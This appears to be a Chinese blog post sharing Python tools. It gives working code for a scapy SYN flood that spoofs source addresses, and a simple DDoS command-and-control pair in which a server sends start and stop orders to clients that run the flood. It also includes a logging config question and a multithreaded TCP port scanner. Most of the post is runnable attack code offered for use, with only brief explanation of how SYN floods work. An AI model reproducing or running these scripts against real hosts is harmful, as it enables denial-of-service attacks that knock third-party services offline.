python实现端口扫描器/DoS/DDoS
整理github,梳理下Python小工具。以下是python实现的DoS/DDoS/端口扫描器(github)。
一、DoS
SYN Flood是当前最流行的DoS(拒绝服务攻击)与DdoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。参考链接:https://baike.so.com/doc/5503756-5739500.html
利用python的scapy库可以很容易的实现DoS攻击。简单来说,scapy就是模拟客户端TCP链接的第一次握手,发送携带syn的数据包给服务端。当服务端返回syn+ack应答时,正常的客户端应该发送携带ack的响应以完成3次握手。而不正常的客户端不再响应,当有数以万记的这样的客户端时,服务器会维护一个非常大的半连接列表而消耗非常大的资源。最后导致堆栈溢出,或是服务端失去响应。
scapy库可以很容易的模拟不同的src来发起连接,所有脚本需要在root下执行。
1 #!/usr/bin/env python3 2 import random 3 from scapy.all import * 4 5 def synFlood(target, dPort): 6 srcList = ['201.1.1.2','10.1.1.12','69.1.1.2','125.130.5.199'] 7 for sPort in range(1025,65535): 8 index = random.randrange(4) 9 ipLayer = IP(src=srcList[index],dst=target) 10 tcpLayer = TCP(sport=sPort,dport=dPort,flags='S') 11 packet = ipLayer/tcpLayer 12 send(packet)
二、DDoS
DDoS相比DoS,不再是一个客户端发起攻击,而是由一台服务器通过socket与多台客户端建立连接,当服务器下发攻击命令时,所有客户端一起向目标机器发起攻击。
1)server部分
服务端首先需要创建socket,绑定端口和网络地址。同时开辟一个线程来建立连接,当有新的连接建立时,把连接实例存放到一个列表中。发送命令时,遍历列表,向每个socket实例发送命令。
1 # -*- coding:utf-8 -*- 2 #!/usr/bin/env python3 3 4 import socket 5 import argparse 6 from threading import Thread 7 import logging 8 import logging.config 9 logging.config.fileConfig("logger.conf") 10 logger = logging.getLogger("serverLogger") 11 12 socketList = []#成功建立连接的socket实例列表 13 14 def sendCmd(cmd): 15 print('Send command...') 16 for sock in socketList: 17 sock.send(bytes(cmd,encoding='utf-8')) 18 19 20 def waitConnect(s): 21 while True: 22 sock,addr = s.accept() #sock是已经建立连接的socket 实例 23 if sock not in socketList: 24 socketList.append(sock) 25 26 27 def main(): 28 s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 29 s.bind(('0.0.0.0',58868)) 30 s.listen(1024) 31 t = Thread(target=waitConnect,args=(s,))#开辟线程来建立连接 32 t.start() 33 34 print('Wait at least a client connection') 35 while not len(socketList): 36 pass 37 38 print('It has been a client connection') 39 40 while True: 41 print('='*50) 42 print('The command format:"#-H xxx.xxx.xxx.xxx -p xxxx -c <start|stop>"') 43 cmd_str = input('Please input cmd:') 44 if len(cmd_str): 45 if cmd_str[0]=='#': 46 sendCmd(cmd_str) 47 else: 48 logging.error('error format!') 49 logging.error(cmd_str) 50 51 52 if __name__=='__main__': 53 main()
2)client部分
client部分主要负责对服务端发送的命令进行解析(argparse模块)。如果命令格式正确,判断当前是否有攻击在执行,如果有,则停止攻击的进程,重新发起攻击;如果没有,则直接发起攻击。
1 #!/usr/bin/env python3 2 # -*- coding:utf-8 -*- 3 4 import socket 5 import sys 6 import random 7 import argparse 8 from multiprocessing import Process 9 from scapy.all import * 10 import os 11 import logging 12 import logging.config 13 logging.config.fileConfig("logger.conf") 14 logger = logging.getLogger("clientLogger") 15 isWorking = False 16 curProcess = None 17 18 #synFlood攻击 19 def synFlood(target, dPort): 20 print('='*100) 21 print('The syn Flood is running!') 22 logging.info('The syn Flood is running!') 23 print('='*100) 24 srcList=['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199'] 25 for sPort in range(1025,65535): 26 index = random.randrange(4) 27 ipLayer = IP(src=srcList[index],dst=target) 28 tcpLayer = TCP(sport=sPort,dport=dPort,flags='S') 29 packet = ipLayer/tcpLayer 30 send(packet) 31 32 33 #处理命令 34 def cmdHandle(sock, parser): 35 global curProcess 36 while True: 37 data = sock.recv(1024).decode('utf-8') 38 if len(data)==0: 39 print('The data is empty!') 40 logging.error('The data received is empty!') 41 return 42 if data[0]=='#': 43 try: 44 options = parser.parse_args(data[1:].split()) 45 m_host = options.host 46 m_port = options.port 47 m_cmd = options.cmd 48 if m_cmd.lower()=='start': 49 if curProcess !=None and curProcess.is_alive(): 50 curProcess.terminate() 51 curProcess = None 52 os.system('clear') 53 logging.info('stop current process to prepare for new process.') 54 print('The synFlood is start') 55 logging.info('The synFlood is start') 56 p = Process(target=synFlood,args=(m_host,int(m_port))) 57 p.start() 58 curProcess = p 59 elif m_cmd.lower() == 'stop': 60 if curProcess !=None and curProcess.is_alive(): 61 curProcess.terminate() 62 os.system('clear') 63 logging.info('stop current process.') 64 except (Exception) as e: 65 print(e) 66 print('Failed to perform the command!') 67 logging.error('command format error.') 68 69 70 def main(): 71 p = argparse.ArgumentParser() 72 p.add_argument('-H', dest='host',type=str) 73 p.add_argument('-p', dest='port',type=str) 74 p.add_argument('-c', dest='cmd', type=str) 75 print('*'*40) 76 try: 77 s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 78 s.connect(('127.0.0.1',58868)) 79 print('To connected server was success!') 80 print('='*40) 81 cmdHandle(s,p) 82 except (Exception) as e: 83 print (e) 84 logging.error(e) 85 print('The network connected failed!') 86 print('Please restart the script') 87 sys.exit(0) 88 89 90 if __name__=='__main__': 91 main()
3)日志记录
这里使用Python的logging模块进行记录。存在一个bug,不知道有同学能帮忙看出问题在哪里么?Client模块和Server模块使用了不同的logger,预期分别记录到Client.log和Server.log中。但结果全部都会记录到Server.log中。
logger.conf设置如下:
1 ############### 2 [loggers] 3 keys = root,serverLogger,clientLogger 4 5 [logger_root] 6 handlers = serverHandler 7 level = DEBUG 8 9 [logger_serverLogger] 10 handlers = serverHandler 11 qualname = serverLogger 12 propagate = 0 13 14 [logger_clientLogger] 15 handlers = clientHandler 16 qualname = clientLogger 17 propagate = 0 18 19 #################### 20 [handlers] 21 keys = serverHandler,clientHandler 22 23 [handler_serverHandler] 24 class = FileHandler 25 level = DEBUG 26 formatter = serverFormatter 27 args = ("logs/Server.log","a") 28 29 [handler_clientHandler] 30 class = FileHandler 31 level = DEBUG 32 formatter = clientFormatter 33 args = ("logs/Client.log","a") 34 35 ################# 36 [formatters] 37 keys = serverFormatter,clientFormatter 38 39 [formatter_serverFormatter] 40 format=%(asctime)s %(filename)s [line:%(lineno)d] %(levelname)s %(message)s 41 datefmt = %d %b %Y %H:%M:%S 42 43 [formatter_clientFormatter] 44 format=%(asctime)s %(filename)s [line:%(lineno)d] %(levelname)s %(message)s 45 datefmt = %d %b %Y %H:%M:%S
三、端口扫描器
端口扫描是指客户端向一定范围内的服务器端口发送对应请求,以此确认可使用的端口。常被计算机管理员用于确认安全策略,同时被攻击者用于识别目标主机上可运行的服务。
这里使用socket建立对待扫描的端口,建立完成的TCP连接。如果能够建立,说明端口是开放的。判断完毕后关闭连接。使用多线程来执行每一个TCP连接:
1 #!/usr/bin/env python3 2 3 import sys 4 import _thread 5 from socket import * 6 7 def tcp_test(port): 8 sock = socket(AF_INET,SOCK_STREAM) 9 sock.settimeout(10) 10 result = sock.connect_ex((target_ip, port)) 11 if result==0: 12 lock.acquire() 13 print("Opened Port: ", port) 14 lock.release() 15 16 if __name__ == '__main__': 17 #scanPort_multi_thread.py <host> <start_port>-<end_port> 18 host = sys.argv[1] 19 portstrs = sys.argv[2].split('-') 20 start_port = int(portstrs[0]) 21 end_port = int(portstrs[1]) 22 target_ip = gethostbyname(host) 23 lock = _thread.allocate_lock() 24 25 for port in range(start_port, end_port): 26 _thread.start_new_thread(tcp_test, (port,))